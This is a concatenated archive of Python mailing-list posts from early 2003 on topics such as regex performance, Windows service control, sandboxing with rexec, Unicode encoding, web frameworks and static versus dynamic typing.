not surprised to see a speed discrepancy of that nature (though sometimes it
goes the other way). However, it's difficult to compare *just* the regexp
features for the two languages unless you operate on data in memory rather
than reading it from a file.

> 2).  Given my assumption that either language can be faster than the
> other given the application, are there any 'rules of thumb' that I can
> follow to make sure I'm making the python expressions behave as
> quickly as possible?

The three important things to do are measure, measure and measure.

> 3).  Should I be using "match" instead of "search"?  I know that the
> algorithms used under the hood differ for each, but I'm not sure which
> one is the best to use under these conditions.
>
See my remarks under 2).

> The code below is paraphrased...the actual code much bulkier, but the
> key lines are captured below.  The "First Python Attempt" may not be
> syntatically correct, as it was replaced by later attempts and I don't
> have it handy anymore.
>
> Original Perl:
> --------------
> for $line in (<fh>) {
>   if (!$errFound) {
>     if ($line =~ m|[\s^](ERR|err|FAIL)|) {
>       $errFound = 1;
>     }
>   }
> }
>
> First Python Attempt:
> ---------------------
> import re
> errSO = re.compile('[\s^](ERR|err|FAIL)')
> for line in fh:
>   if not finishFound:
>     match = errSO.search(line)
>     if match != None: finishFound = 1
>
> Latest Python Attempt:
> ----------------------
> import regex
> errSO = regex.compile('\( \|^\)\(ERR\|err\|FAIL\)')
> for line in fh:
>   if not finishFound:
>     if doneSO.search(line) >= 0: finishFound = 1
>   if not errFound:
>     if errSO.search(line) >= 0: errFound = 1
>
Since you are using doneSo.search I presume this is supposed to find "ERR"
or "err" or "FAIL" either at the beginning of a line or following a space? I
can't see why match would be any better here: I'd be surprised if search
weren't much faster that an explicit pattern that skipped the unwanted
characters.

Given that Python's logical operations short-circuit, it might be marginally
quicker to write

    if not finishFound and doneSO.search(line):
        finishFound = 1

and the like. Bad practice to elide the guarded line like you did, though:
the style sharks will get you! One stylistic question: why "finishFound" and
"doneSO" rather than "finishFound" and "finishSO"?

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/







From pdm at zamazal.org  Wed Jan 29 02:22:15 2003
From: pdm at zamazal.org (Milan Zamazal)
Date: 29 Jan 2003 08:22:15 +0100
Subject: spambayes rocks
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com> <87fzre2xth.fsf@zamazal.org> <R8wZ9.31972$Vh.21432@news2.central.cox.net>
Message-ID: <87n0lkju8o.fsf@zamazal.org>

>>>>> "SH" == Steve Holden <sholden at holdenweb.com> writes:

    SH> From my experience, it'll only take about another two years to
    SH> reach the situation where 99% of all email *is* spam. Don't
    SH> apologize for these people, they are abusing an open
    SH> communication system for their own ends.

I no way apologize for them, I hate them.  I've only clarified that
solutions like spambayes help not only us, but also spammers.  In a
longer term, we have to find much more efficient combat methods against
spammers.

Milan Zamazal

-- 
I think any law that restricts independent use of brainpower is suspect.
                                               -- Kent Pitman in comp.lang.lisp



From peter at engcorp.com  Wed Jan 29 23:31:05 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 23:31:05 -0500
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net> <3E3724FF.8358506E@engcorp.com> <u2MZ9.2132$wd2.169355@newsread2.prod.itd.earthlink.net> <3E37EFC0.62499650@engcorp.com> <cF1_9.3824$wd2.301788@newsread2.prod.itd.earthlink.net>
Message-ID: <3E38AA89.FD2CDE3D@engcorp.com>

Brandon Van Every wrote:
> 
> Peter Hansen wrote:
> > Brandon Van Every wrote:
> >>
> >> I see no primary purpose for Python's existence other than as a glue
> >> language.
> >
> > I would have responded at more length, but thankfully Erik Max Francis
> > posted first and pointed out the (what should have been to me)
> > obvious: you're trolling.
> 
> Oh please fuck off.  Erik Max Francis has been in my killfile for a long
> time.  And now you are too: I can't stand people who read someone else's
> opinion and answer "You're trolling!" in order to shut it down.

:-)

I needed a smile after this day at work.  Thanks!

-Peter



From mhutchins at amr-corp.com  Fri Jan 31 08:55:54 2003
From: mhutchins at amr-corp.com (Hutchins, Mike)
Date: Fri, 31 Jan 2003 06:55:54 -0700
Subject: Service Control
Message-ID: <1DE2BB4E5055104F8B533D1264ED0BFE01B92C@cor1denexc1.cor1.root01.org>

Actually, I was a little caffeinated when I wrote this, hence all kinds
of bad form for someone requesting assistance.

I have a small script that kills computer browser services and changes
some reg keys. The only problem is that if it runs against a Windows XP
machine, it requires the machine name as an argument. Here is an
example:

This works against NT/W2K, but not XP
******************************begin**************************
aWS = string.replace(line, "\n", " ") # replace newlines by spaces
    
    aReg = ConnectRegistry(aWS,HKEY_LOCAL_MACHINE)
    aKey = OpenKey(aReg,
r"SYSTEM\CurrentControlSet\Services\Browser\Parameters", 0,
KEY_ALL_ACCESS) # KEY_SET_VALUE doesn't work here
    aValue1 = QueryValueEx(aKey, aDM)
    aValue2 = QueryValueEx(aKey, aMSL)

    win32serviceutil.StopService(aSvcName) # No machine name or variable
required here it knows it already
******************************end*****************************


This works for XP
****************************begin*****************************
aWS = string.replace(line, "\n", " ") # replace newlines by spaces
    
    aReg = ConnectRegistry(aWS,HKEY_LOCAL_MACHINE)
    aKey = OpenKey(aReg,
r"SYSTEM\CurrentControlSet\Services\Browser\Parameters", 0,
KEY_ALL_ACCESS) # KEY_SET_VALUE doesn't work here
    aValue1 = QueryValueEx(aKey, aDM)
    aValue2 = QueryValueEx(aKey, aMSL)

    win32serviceutil.StopService(aSvcName, aWS) # needs the actual name
of the machine as an argument
**************************************************************


So I sorta have it figured out, just not why it behaves like that..

Thanks, and in the future, I will try to ask all of my newbie questions
the way they should be asked. =:-)




From exarkun at intarweb.us  Fri Jan 24 12:44:24 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 24 Jan 2003 12:44:24 -0500
Subject: killing thread ?
In-Reply-To: <7xvg0ebl5j.fsf@ruckus.brouhaha.com>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <3E315C41.35348508@engcorp.com> <7xvg0ebl5j.fsf@ruckus.brouhaha.com>
Message-ID: <20030124174424.GA15614@meson.dyndns.org>

On Fri, Jan 24, 2003 at 07:52:08AM -0800, Paul Rubin wrote:
> Peter Hansen <peter at engcorp.com> writes:
> > If you're worried about some kind of denial of service type
> > thing with code written by someone else: you're out of luck.
> > Don't use Python.  (Or, better yet, get over the worry and just
> > accept this possibility.)
> 
> Wha?  Python provides the rexec and bastion modules specifically to
> have a way to run hostile code in a sandbox.  So what kind of advice
> is "don't use Python"?  If sandboxed code can be prevented from
> accessing sensitive data or doing i/o, but can't be prevented from
> looping unkillably, that's a bug in Python.

  Yes, that's why Python provides them.  But this misconception (that they
work) is also why it will soon -not- provide them :P  And neither RExec nor
Bastion ever protected you against "while 1: pass" or "100L ** 100L ** 100L
** 100L ** 100L".  It is currently not possible to write a secure sandbox in
Python.  I'm not sure if you can call that a bug; it's certainly
unfortunate.

  Jp

-- 
A sad spectacle.  If they be inhabited, what a scope for misery 
and folly.  If they be not inhabited, what a waste of space.
                -- Thomas Carlyle, looking at the stars
-- 
 up 39 days, 21:49, 1 user, load average: 0.81, 0.64, 0.57
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030124/2afad97f/attachment.sig>

From phr-n2002b at NOSPAMnightsong.com  Sat Jan 11 11:44:43 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 11 Jan 2003 08:44:43 -0800
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org> <avni6r$im1$1@slb2.atl.mindspring.net> <dpe4f-52b.ln1@news.lairds.org> <avoa2h$jt1$1@slb9.atl.mindspring.net> <16r5f-8k3.ln1@news.lairds.org>
Message-ID: <7xbs2n7i10.fsf@ruckus.brouhaha.com>

Kyler Laird <Kyler at news.Lairds.org> writes:
> Yes, but the syntax clearly states that the matched text
> will be accessible.  That is not true.  There is no way
> to get it with any function.

Something wrong with

  m.string[m.start(g):m.end(g)]

as described in the docs?



From jack at performancedrivers.com  Tue Jan 28 16:39:46 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Tue, 28 Jan 2003 16:39:46 -0500
Subject: Hacking Heaven - Leo+XEmacs Integrated
In-Reply-To: <93rZ9.51593$F63.1103117@news.xtra.co.nz>; from spam-me@no-thanks.com on Tue, Jan 28, 2003 at 09:18:25PM +1300
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz>
Message-ID: <20030128163946.F18606@localhost.localdomain>

On Tue, Jan 28, 2003 at 09:18:25PM +1300, Aum wrote:
> Some months ago, the 'metastructural' editor 'Leo' (http://leo.sf.net) got 
> covered on Slashdot. Seeing the power it offered to boost my productivity 
> with code editing, I immediately downloaded it.
> 

I looked at the leo site, and a bunch of Literate Programming sites
and the intros all sucked.  hard.  Couldn't be more vague.
Do you have a favorite one-pager intro?  I like the concept but it is very 
ill-defined.  Even a couple paragraphs about how you use/how it changed your 
cycle it would be nice.

Obviously it would be the view of a convert, but I'd like to hear about
how it works in practice.  Unless a project has everyone using the same
tool, is it hard to publish or hard to incorporate patches from people
that aren't using it?

I'll-try-anything-that-makes-me-more-productive-ly,

-jackdied




From v.wehren at home.nl  Tue Jan  7 15:49:22 2003
From: v.wehren at home.nl (v.wehren)
Date: Tue, 7 Jan 2003 21:49:22 +0100
Subject: Unicode error: ASCII encoding error. Ordinal not in range(128) ???
References: <%WFS9.8062$CG6.157588@news4.e.nsc.no>
Message-ID: <avfe3d$aun$1@news1.tilbu1.nb.home.nl>

If your writing characters beyond the 7 bit ASCII character set  (such as
German characters with *Umlaute*), you have to encode your strings (e.g.
fw.write(mystring.encode("latin_1")).

Regards

Vincent Wehren



"Thomas Weholt" <2002 at weholt.org> schrieb im Newsbeitrag
news:%WFS9.8062$CG6.157588 at news4.e.nsc.no...
> I'm working with RSS/RDF-feeds and get the above mentioned error. How can
I
> detect and/or avoid this error, when parsing/working with strings??
>
> Thomas
>
>





From troy at gci.net  Tue Jan  7 17:34:51 2003
From: troy at gci.net (Troy Melhase)
Date: Tue, 07 Jan 2003 13:34:51 -0900
Subject: extending an existing class without inhertance
In-Reply-To: <aveutg$cpq$1@rrzd1.rz.uni-regensburg.de>
References: <aveutg$cpq$1@rrzd1.rz.uni-regensburg.de>
Message-ID: <3E1B560B.9030209@gci.net>

Hi Martin:

Check out the 'new' module.  Here's a quick example:

Python 2.2.2 (#1, Dec 23 2002, 15:44:51)
[GCC 2.95.3 20010315 (release)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
 >>> class MyClass:
...     def op(self):
...             print self
...
 >>> def other_op(self, arg):
...     print self, arg
...
 >>> mine = MyClass()
 >>> mine.op()
<__main__.MyClass instance at 0x8114d04>
 >>> import new
 >>> mine.new_op = new.instancemethod(other_op, mine, MyClass)
 >>> mine.new_op
<bound method MyClass.other_op of <__main__.MyClass instance at 0x8114d04>>
 >>> mine.new_op('a')
<__main__.MyClass instance at 0x8114d04> a
 >>>

Good luck.

- troy

Martin Schmettow wrote:
> Hi anybody.
> 
> I am working on a script which uses several XML techniques (building 
> DOM,XSLT).
> For building the DOM I started using the xml.dom module. This module 
> implements the setAttribute() method on element nodes.
> For some reasons I have to switch to the Ft.Xml.Domlette implementation, 
> where the setAttribute() is missing.
> Extending the class by inheritance is obvious but seems not practical in 
> this case, because a lot is done by Factories, which you cant just tell 
> to produce MyElement instead of Element.
> The easiest solution would be to enhance the existing class by just 
> adding the method. I did this several times in Perl (in a former life, 
> of course).
> Can anybody tell me the Python way to do it. Other solutions are welcome 
>  as well.
> 
> CU
> Martin.
> 




From aztech1200 at yahoo.com  Sun Jan  5 15:34:02 2003
From: aztech1200 at yahoo.com (Az Tech)
Date: 5 Jan 2003 12:34:02 -0800
Subject: Applications/examples of some advanced Py features, please !
References: <5a969143.0301040712.4cd2ad10@posting.google.com> <slrnb1eots.11b.davecook@localhost.localdomain>
Message-ID: <5a969143.0301051234.6020cba0@posting.google.com>

"David M. Cook" <davecook at nowhere.net> wrote in message news:<slrnb1eots.11b.davecook at localhost.localdomain>...
> In article <5a969143.0301040712.4cd2ad10 at posting.google.com>, Az Tech wrote:
> 
> > 3. Thoughts on implementing Interfaces in Py - a la Java interfaces.
> 
> You can find several examples in the Python Cookbook:
> 
> http://aspn.activestate.com/ASPN/Cookbook/Python?kwd=OOP&query_start=21
> 
> Dave Cook

Hi,

Thanks to all those who replied. Appreciate your advice. 

I may post some more related queries - with code - a little
later.

Az.



From tismer at tismer.com  Mon Jan 13 18:54:37 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 00:54:37 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
 MinimalPython project)
In-Reply-To: <20030113124645.I1568@prim.han.de>
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <3E222FC1.40908@tismer.com> <20030113124645.I1568@prim.han.de>
Message-ID: <3E2351BD.7010108@tismer.com>

holger krekel wrote:
...

> [1] FWIW, Currently I think that i will propose   P
>     (courtesy of Tim Churches). 

Ys t s shrt.

c - c







From claird at lairds.com  Mon Jan 20 18:26:38 2003
From: claird at lairds.com (Cameron Laird)
Date: Mon, 20 Jan 2003 23:26:38 -0000
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
Message-ID: <v2p1de5pghue49@corp.supernews.com>

In article <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh at 4ax.com>,
Afanasiy  <abelikov72 at hotmail.com> wrote:
> 		.
> 		.
> 		.
>Possible solutions should do 99% of the following :
>
>* Run on the same hardware I use currently
>
>* Be as fast or faster than Apache+PHP
>  (I'm sorry to say Zope/Roxen are not)
>  (This might mean it must use Apache)
> 		.
> 		.
> 		.
?  I'm having parse difficulties.  Are you saying you used
Zope through Roxen CGI, and found the performance of *that*
combination inadequate?  I guess that's not much of a surprise
...  Roxen's a speed demon if you use its native scripting,
and there are also faster Zope architectures than CGI.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From tjreedy at udel.edu  Mon Jan 13 10:48:30 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 13 Jan 2003 10:48:30 -0500
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
References: <mailman.1042403841.24976.python-list@python.org> <7x8yxqxeav.fsf@ruckus.brouhaha.com> <c76ff6fc.0301130206.ca90ba2@posting.google.com>
Message-ID: <xpudnbPQNdfpfb-jXTWcpw@comcast.com>

> > Seems simple enough to add a new code that combines the two? That
> > would avoid breaking old compiled code.
>
> Could add more than one; below is the inventory of conditional jump
> opcodes from a you've-never-heard-of-it language. All of the opcodes
> pop the stack first and jump depending on the popped value.

When I asked about this in August one answer was that this should not
be changed until the 'new compiler' is finished (it still is not)
because adding an opcode would create foward/backward incompatibilites
that are not justified by such a minor optimization.

Terry J. Reedy





From abelikov72 at hotmail.com  Mon Jan 20 12:16:52 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Mon, 20 Jan 2003 17:16:52 GMT
Subject: Python web development, really
Message-ID: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>

I would love to use Python instead of PHP for web development, but
I have so far been confused by the options, or perhaps lack thereof,
given my strict requirements. I would appreciate suggestions.

I've looked at some Python options and have experience in quite a
few platforms previously. I have always disliked PHP as a language,
but at the same time have found it very accessible and useful.

Possible solutions should do 99% of the following :

* Run on the same hardware I use currently

* Be as fast or faster than Apache+PHP
  (I'm sorry to say Zope/Roxen are not)
  (This might mean it must use Apache)

* Use a similar amount of memory
  (ie. not Java/.NET related)

* Provide a fairly equivalent framework w/ sessions, cookies, get, post
  (Described in http://www.boddie.org.uk/python/web_frameworks.html)
  (eg. I should not have to write code to parse query strings, etc.)
  (PHP is somewhat unique in the ways it can bring in post variables)

* Allow all errors to be caught and handled so users never see them
  (I currently send them to an email address)
  (Users are notified an error occurred and a developer contacted)

* Allow sending of email

* Allow sending of raw binary data, for restricted file downloading
  (eg. http://example.com/sendfile.php?id=A6DE12FAB3...etc)
  (This requires header manipulation, specifically the mime type)
  (That sort of thing should be part of the framework 3 bullets up)

* Allow SSL secured authorize.net credit card processing
  (I currently use PHP's libcurl+ssl module)
  
* Allow similarly powerful regex capabilities
  (I currently use PHP's pcre module)

* Big plus, but optional, auto prepend/append files
  (eg. Apache+PHP has .htaccess directives like this )
  (    php_value auto_prepend_file "_header.php"     )
  (    php_value auto_append_file "_footer.php"      )
  (granular down to the directory 

* Finally, very optional plus, global application scoped variables
  (PHP does NOT allow this, but I know why)
  (I do not want to hear why you think this is bad)
  (I know why it is good, I know why it can be bad)

Some of these things likely already exist in Python itself and thus
in anything which uses Python in a web development solution, but I am
mentioning them explicitly because they are indeed still requirements.
Plus explicit is better than implicit, as I'm sure everyone knows. ;-)

Some links for future and others' reference :
  http://www.boddie.org.uk/python/web_frameworks.html
  http://www.boddie.org.uk/python/web_modules.html
  http://webware.sf.net/
  http://modsnake.sf.net/ (dead? that's too bad)
  http://www.apache.org/dist/httpd/modpython/
  http://pmz.sourceforge.net/
  http://www.mems-exchange.org/software/quixote/
  http://skunkweb.sourceforge.net/

I hope I have not forgotten anything which will lead this thread to hell.




From nav at adams.patriot.net  Thu Jan  9 09:42:34 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 09 Jan 2003 09:42:34 -0500
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com>
Message-ID: <yyy1y3m4c6d.fsf@adams.patriot.net>

Afanasiy <abelikov72 at hotmail.com> writes:

> You don't know what I am doing. My design is perfect.

c.f. 'hubris'.

Nick

-- 
#include<stdio.h> /* SigMask 0.3 (sig.c) 19990429 PUBLIC DOMAIN "Compile Me" */
int main(c,v)char *v;{return !c?putchar(*v-1)&&main(0,v+ /* Tweaks welcomed. */
1):main(0,"Ojdl!Wbshjti!=obwAqbusjpu/ofu?\v\1");}  /* build: cc -o sig sig.c */



From bokr at oz.net  Wed Jan  8 11:32:57 2003
From: bokr at oz.net (Bengt Richter)
Date: 8 Jan 2003 16:32:57 GMT
Subject: python compiler package questions
References: <69413f9.0301080545.612e42f7@posting.google.com>
Message-ID: <avhjrp$33t$0@216.39.172.122>

On 8 Jan 2003 05:45:46 -0800, pschmidt at omnimn.com (Phil Schmidt) wrote:

>Background:
>I do embedded development for a living on little 8-bit and 16-bit
>micros. Most of these have C compilers available, so I do much of my
>coding in C. However, I've been playing with Python for a year or so
>now, and really like it. I'd like to try to come up with a subset of
>Python that could be used on little micros, with most of my interest
>being in the object-oriented-ness of Python.
>
>I started looking at the Python compiler package, and it occurred to
>me that I could possibly create C code from the Python AST, which
>could then be compiled by the little micro's C compiler. Thus, I could
>make a language with Python syntax, and with semantics as much like
>Python as is practical for the little buggers.
>
>Simple questions:
>Does this sound like a practical approach? If not, what would you
>suggest instead?
Maybe have a look at pippy (google for python pippy)

>
>Technical questions:
>I used the following code to play with the compiler (using Python
>2.2.1 in Windows):
>--------------------------
>import compiler
>s=compiler.parse("""def afunc(a=0, h):
>    print a
>    a = a * 2
>    print a, 'hello'
>""")
>--------------------------
>
>I found that the code parsed ok as shown above - i.e., no error with
>the argument list to afunc - though I think this should produce an
>error. Then, when I change the argument list to "(a, h=0)", this also
>parsed ok, and produced exactly the same AST as the first case. This
>seems wrong! Adding a comma after h in the first example caused the
>parser to produce an AST different from the second case, and which I
>believe to be correct.
>
>I traced this down to transformer.py in the compiler package, and, I
>think, fixed it.
>
>So, is this really a bug, or did the parser do the right thing?
>
>If it IS a bug, will this be fixed in 2.3? Should I "officially"
>report it?
>
It looks to me like a bug. Note that compiler.compile doesn't agree
with the builtin compile (2.2.2 on windows):

 >>> code = compiler.compile("""\
 ... def afunc(a=0, h):
 ...     print a
 ...     a = a * 2
 ...     print a, 'hello'
 ... """,'<string to compiler.compile>','exec')

 >>> bico = compile("""\
 ... def afunc(a=0, h):
 ...     print a
 ...     a = a * 2
 ...     print a, 'hello'
 ... """,'<string to builtin compile>','exec')
 Traceback (most recent call last):
   File "<stdin>", line 1, in ?
   File "<string to builtin compile>", line 1
 SyntaxError: non-default argument follows default argument

Regards,
Bengt Richter



From dave at pythonapocrypha.com  Sun Jan  5 08:34:25 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Sun, 5 Jan 2003 05:34:25 -0800 (PST)
Subject: Distributing Python apps
In-Reply-To: <Xns92FA2BAE1982Ecliechtigmxnet@62.2.16.82>
References: <GCEDKONBLEFPPADDJCOEIEDIHCAA.whisper@oz.net>
 <mailman.1041728827.16741.python-list@python.org> <Xns92FA2BAE1982Ecliechtigmxnet@62.2.16.82>
Message-ID: <Pine.LNX.4.51.0301050531100.14759@ns0.tbye.com>

On Sat, 5 Jan 2003, Chris Liechti wrote:

> you can have Python starting form 400kB (compressed) then every extension
> module you use adds a bit and a huge amount of space can be used by GUIs.
> that depends on the GUI lib you decide to use if you use win32all (or
> ctypes but thats not easy to use for GUI) it won't add too much. 1.75MB
> will be possible, i think.

Quick side note: depending on your GUI needs, ctypes can be a pretty easy
way to go. Create your GUI as resources (e.g. in MS Visual Studio) and
wrap them into a tiny DLL. Then use ctypes to load them at runtime and run
CreateDialogIndirect. Most of the work involved is simply looking in
header files for the values of various Win32 messages and constants, but
once you do it the first time you can re-use much of the code over and
over.

-Dave




From mwm at mired.org  Wed Jan 29 22:51:20 2003
From: mwm at mired.org (Mike Meyer)
Date: Thu, 30 Jan 2003 03:51:20 GMT
Subject: Tab characters considered harmful (Was: Emacs has eaten my python tabs!!!)
References: <mailman.1043861157.12712.python-list@python.org> <v3gfedm4i5c56a@news.supernews.com>
Message-ID: <x7wukn1eit.fsf@guru.mired.org>

"John Roth" <johnroth at ameritech.net> writes:


> Suggestons that one not use                   It may be arrogant, but
> OE will be rejected for the                   it's still good advice. :-)
> arrogance that they are.

> Suggesting that one not use                   You can use Yahoo groups
> Yahoo Groups shows that one                   without having to use the
> is not in contact with the                    broken interface. I get a
> real world.                                   number of yahoo groups
                                                delivered to my mailbox,
where I can read them with a mailreader that preserves the formatting of
the orignal author.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From martin at v.loewis.de  Thu Jan 23 03:15:55 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 23 Jan 2003 09:15:55 +0100
Subject: Is there really a default source encoding?
In-Reply-To: <slrnb2uq0l.d9h.mlh@furu.idi.ntnu.no>
References: <slrnb2uq0l.d9h.mlh@furu.idi.ntnu.no>
Message-ID: <b0o8bp$oa1$03$1@news.t-online.com>

Magnus Lie Hetland wrote:
> The 2.3a1 "what's new" document, section 3 says that iso8859-1 is the
> default source encoding, and that the encoding only affects Unicode
> string literals... But if I put non-ASCII iso8859-1 letters in my
> string literals without declaring an encoding, I get a deprecation
> warning. 

Right. The default encoding is Latin-1, for compatibility with previous 
releases. However, reliance on the default encoding is deprecated, and 
the default encoding will change to ASCII in 2.4. According to the 
guidelines for language evolution (PEP 5), this means a warning must be 
emitted in 2.3.

> What's the correct behaviour, and where is it documented?

Whose correct behaviour? I believe Python 2.3a1 behaves correctly: 
Latin-1 is the deprecated default encoding, see

http://www.python.org/dev/doc/devel/ref/lexical.html

Notice the "favours Latin-1". Strictly speaking, the default encoding 
mostly relevant only of Unicode literals. With the default behaviour, 
byte strings appear at runtime as they appear on disk in the source 
file, so they could be in nearly any encoding. So you can use also 
koi8-r (say) in your source code, and, unless you use Unicode literals, 
nothing would break.

Your correct behaviour is to properly declare the encoding of your 
source files; this is documented at the same place.

Regards,
Martin




From alloydflanagan at attbi.com  Fri Jan 24 11:15:41 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 24 Jan 2003 08:15:41 -0800
Subject: Connection to MSAccess without its installation
References: <bk023vsgl9mep538po44h10hvdiqtbmqej@4ax.com>
Message-ID: <a8b7f07a.0301240815.6894541e@posting.google.com>

Yar3k <programisci_listy at muratorDOTcom.pl> wrote in message news:<bk023vsgl9mep538po44h10hvdiqtbmqej at 4ax.com>...
> I have to execute some Python scripts which have to connect to MS
> Access db file. The problem is, I want to execute such scripts on
... 
> I've heard, I should download some addidtional library from M$ site.

You need the MDAC library from M$.  Check out
http://www.microsoft.com/data/download.htm.



From tismer at tismer.com  Mon Jan 13 18:40:47 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 00:40:47 +0100
Subject: Stackless Python, Tail Recursion and Functional Programming
In-Reply-To: <xI9H+kKkXkKT092yn@gnosis.cx>
References: <mailman.1042262600.31378.python-list@python.org> <xI9H+kKkXkKT092yn@gnosis.cx>
Message-ID: <3E234E7F.1040203@tismer.com>

Lulu of the Lotus-Eaters wrote:
> beno <zope at thewebsons.com> wrote previously:
> |Someone wrote me from this list advising me to drop my passion for
> |functional programming because Python doesn't optimize for it. Then I
> |remembered Cameron Laird's *Stackless Python*. Doesn't this take care of
> |this problem by converting the stack into a tree, just like XSLT? Doesn't
> |that make optimization for tail recursion a cake-walk? And, if so, if I
> |implement the necessary changes to my Python distro, can I write recursive
> |programs without worrying about optimization problems?
> 
> I think someone has found my reference to recursive transition networks,
> or Laura's releated one to Markov chains.  As near as I can tell, this
> post is a random assemblage of commonly occurring (related) words and
> phrases from past c.l.py messages.
> 
> Am I right? Do I get a prize for noticing it?

Yes. You will get 42 handshakes from me on PyCon.

> Laird didn't make Stackless.

Laird did make more for Stckles than anybody else (but me, maybe).

> Stackless doesn't optimize tail recursion.

Sorry about that. I didn't find it interesting. Is it?

> None of this has anything to do with XSLT.  There's no real connection
> between stack trees and recursion.  Etc.

Can you please elaborate on that?
I do think that there are more connections between
stack trees and recursion than between a fish and a bicycle.

ciao - chris





From BPettersen at NAREX.com  Mon Jan  6 13:42:21 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 6 Jan 2003 11:42:21 -0700
Subject: Python vs .Net
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDEA2@admin56.narex.com>

> From: Greg Brunet [mailto:gbrunet at nospamsempersoft.com] 
> 
> "Peter Hansen" <peter at engcorp.com> wrote in message 
> news:3E197F7C.D4549EC5 at engcorp.com...
> > Greg Brunet wrote:
> > >
> > > - VB.NET (as well as C##) are/can be very strongly statically
> > > typed - even more so than VB6.  I'm still trying to determine 
> > > if I like a strongly _dynamically_ typed language like Python.  
> > > I'm having a hard time understanding why it's not better to 
> > > know at compile time that ['foo' + 5] is an exception.  
> > > If I have to wait until runtime, then I
> > > would think that I need to be writing LOTS more error 
> > > checking code at all my function entry points, whereas with 
> > > strong static typing, I can catch all this at compile time.
> >
> > While the specific example you quote, where two statically defined
> > *constants* are being added, *could* be caught by the compiler, it's

> > pretty rare to be doing that anyway.  More likely you would 
> > be doing something like ['foo' + bar] where bar is bound to the 5. 
> > That would not be catchable until runtime, by definition.
> 
> Actually, it is catchable at compile time with a statically 
> typed lanugage.  If I have: '============== Dim sName as 
> String Dim nNumber as Integer Dim sResult as String

I think you're missing the point of dynamic typing. In a dynamically
typed language I can write a function, add, like:

  def add(a,b):
      return a + b

the result is to create a function that can operate on _any_ type of
objects that support the '+' operator. There is usually a strong urge
from programmers coming from statically typed languages to want to add
type information to this function or add run-time checks to ensure
they're only passed the right kind of data. In a dynamically typed
language this is at best counter productive and at worst simply wrong.
The problem, in my opinion, is that these programmers can't write such a
function in the languages they know so they're not thinking of problem
solving in terms of generic functions. (Languages with advanced type
systems, mostly functional langages, can determine the most generic type
for these functions although I wouldn't expect many C++ programmers to
know that <wink>).

This, I think, is one of the key points of Python. You don't write
generic functions because you're sloppy and don't care about the quality
of your input parameters, you write generic functions because they're
the most flexible way of designing a solution. When you're learning a
new language you're always much better off trying to embrace it and
develop solutions in terms of idiomatic usage rather than trying to
shoehorn your existing programming habits onto a language that doesn't
support it. When you have a good grasp of thinking in the new language
you'll be better able to judge the relative merits of the different
paradigms. (Of course, there are always the group of programmers that
can write Fortran in any language <wink>).

-- bjorn




From urfaust at optushome.com.au  Fri Jan  3 02:25:06 2003
From: urfaust at optushome.com.au (faust)
Date: Thu, 02 Jan 2003 23:25:06 -0800
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk>
Message-ID: <6lea1vop870pak8iuohinerilg304sd493@4ax.com>

 Klaus Alexander Seistrup <spam at magnetic-ink.dk> ,  emitted these
fragments:

>Johan wrote:
>
>> Anyone know some good Python editors under Linux?
>> With good color highlightning... :)
>
>I've been using jed since 1995.

